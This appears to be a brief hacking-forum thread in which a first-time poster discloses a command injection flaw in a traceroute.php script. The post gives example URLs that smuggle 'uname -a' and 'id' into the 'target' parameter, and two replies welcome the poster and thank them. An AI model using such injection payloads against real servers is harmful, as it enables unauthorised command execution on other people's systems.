Hello this is my first post;).
There's a vulnerability in traceroute.php .it allows you to execute commands on the server with user that apache was started with.
example:
www.victim.com/service/traceroute.php?target=%26uname+-a
or
www.victim.com/service/traceroute.php?target=%26id.


agopsi

how old is this bug?

anyways, welcome a board, we all hope you enjoy your stay and contribute, as you do now, as mutch as we can like we all do!

Nice share mate, keep 'm coming!

woutiir

Thank you;)))